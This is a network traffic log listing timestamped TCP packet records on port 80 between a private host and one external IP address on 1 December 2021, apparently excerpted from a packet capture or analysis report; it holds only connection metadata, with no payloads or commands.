Dec 1, 2021 10:04:55.303101063 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303111076 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303136110 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303147078 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303159952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303186893 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303190947 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303212881 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303236961 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303257942 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303261042 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303287029 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303318024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303318977 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303342104 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303344011 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303364992 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303389072 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303394079 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303412914 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303437948 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303437948 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303461075 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303482056 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303497076 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303504944 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303525925 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303529978 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303546906 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303579092 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.334090948 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.334132910 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.334273100 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339276075 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339333057 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339355946 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339379072 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339401960 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339425087 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339447975 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339471102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339476109 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339493036 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339518070 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339524031 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339544058 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339566946 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339569092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339593887 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339598894 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339617014 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339642048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339664936 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339665890 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339689016 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339704037 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339715004 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339730978 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339739084 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339764118 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339787006 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339812040 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339818001 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339837074 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339860916 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339871883 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339883089 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339906931 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339925051 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339930058 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339958906 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.339968920 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.339983940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340004921 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340006113 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340029955 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340033054 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340054035 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340076923 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340085030 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340100050 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340123892 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340133905 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340147972 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340167999 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340172052 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340198040 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340221882 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340226889 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340246916 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340269089 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340270996 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340292931 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340316057 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340327024 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340339899 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340362072 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340363979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340389013 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340411901 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340425968 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340435982 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340459108 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340477943 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340481043 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340501070 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.340506077 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.340569019 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.443325996 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.693289042 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.750827074 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:59.843642950 CET	49827	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:59.901148081 CET	80	49827	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:59.901494026 CET	49827	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:59.901526928 CET	49827	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:59.901628971 CET	49827	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:59.959165096 CET	80	49827	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.006170988 CET	80	49827	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.011712074 CET	49827	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.018956900 CET	49827	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.065025091 CET	49828	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.076543093 CET	80	49827	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.122668982 CET	80	49828	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.122874022 CET	49828	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.123142004 CET	49828	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.123152971 CET	49828	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.180685043 CET	80	49828	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.225522995 CET	80	49828	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.225732088 CET	49828	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.225758076 CET	49828	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.259543896 CET	49829	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.283473969 CET	80	49828	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.317687988 CET	80	49829	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.318209887 CET	49829	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.318556070 CET	49829	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.318617105 CET	49829	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.377207994 CET	80	49829	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.420095921 CET	80	49829	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.420298100 CET	49829	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.420319080 CET	49829	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.456465006 CET	49830	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.475200891 CET	49831	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.479115963 CET	80	49829	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.513897896 CET	80	49830	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.514194012 CET	49830	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.514219999 CET	49830	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.516660929 CET	49830	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.532888889 CET	80	49831	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.534137011 CET	49831	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.536287069 CET	49831	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.572580099 CET	80	49830	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.573741913 CET	80	49830	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.617242098 CET	80	49830	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.618047953 CET	49830	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.618114948 CET	49830	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.631361961 CET	80	49831	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.633748055 CET	49831	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.643424034 CET	49831	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.649369955 CET	49832	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.676959991 CET	80	49830	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.702039957 CET	80	49831	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.707315922 CET	80	49832	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.707431078 CET	49832	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.707607031 CET	49832	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.707644939 CET	49832	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.745093107 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.765475988 CET	80	49832	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.802828074 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.804809093 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.805763006 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.807302952 CET	80	49832	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.809645891 CET	49832	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.810291052 CET	49832	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.868134022 CET	80	49832	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890485048 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890518904 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890541077 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890563011 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890583992 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890607119 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890628099 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890647888 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.890650988 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890674114 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890696049 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.890724897 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.890759945 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.948254108 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948301077 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948321104 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948340893 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948364019 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948385954 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948405027 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948430061 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948456049 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948477030 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948498011 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948503971 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.948520899 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948544979 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948569059 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948591948 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948607922 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.948612928 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.948616028 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948640108 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948662043 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948679924 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.948683977 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.948685884 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948710918 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:00.948788881 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.948795080 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:00.952683926 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006396055 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006443977 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006470919 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006498098 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006520987 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006541967 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006545067 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006570101 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006594896 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006618977 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006630898 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006634951 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006644011 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006666899 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006691933 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006691933 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006695032 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006716013 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006740093 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006762981 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006779909 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006783962 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006788015 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006818056 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006840944 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006841898 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006844997 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006861925 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006895065 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006917000 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006923914 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006927967 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.006939888 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006963968 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.006985903 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007009029 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007016897 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007033110 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007055998 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007065058 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007067919 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007081032 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007105112 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007128000 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007128000 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007152081 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007175922 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007179976 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007184029 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007200003 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007222891 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007246017 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007268906 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007286072 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007289886 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007293940 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007318974 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.007343054 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007345915 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.007462978 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.010307074 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.010355949 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.010490894 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.064960957 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065001965 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065021992 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065040112 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065058947 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065079927 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065105915 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065129995 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065154076 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065179110 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065202951 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065227985 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065249920 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065265894 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065277100 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065303087 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065327883 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065354109 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065377951 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065378904 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065382957 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065406084 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065432072 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065453053 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065455914 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065455914 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065481901 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065509081 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065527916 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065531969 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065534115 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065560102 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065584898 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065608978 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065610886 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065613985 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065637112 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065661907 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065685987 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065689087 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065690041 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065715075 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065741062 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065751076 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065753937 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065766096 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065792084 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065817118 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065825939 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065829039 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065840960 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065860987 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065876961 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065881014 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065881014 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065902948 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065922976 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065943956 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065948963 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065953016 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.065964937 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.065987110 CET	80	49833	95.213.165.249	192.168.2.3
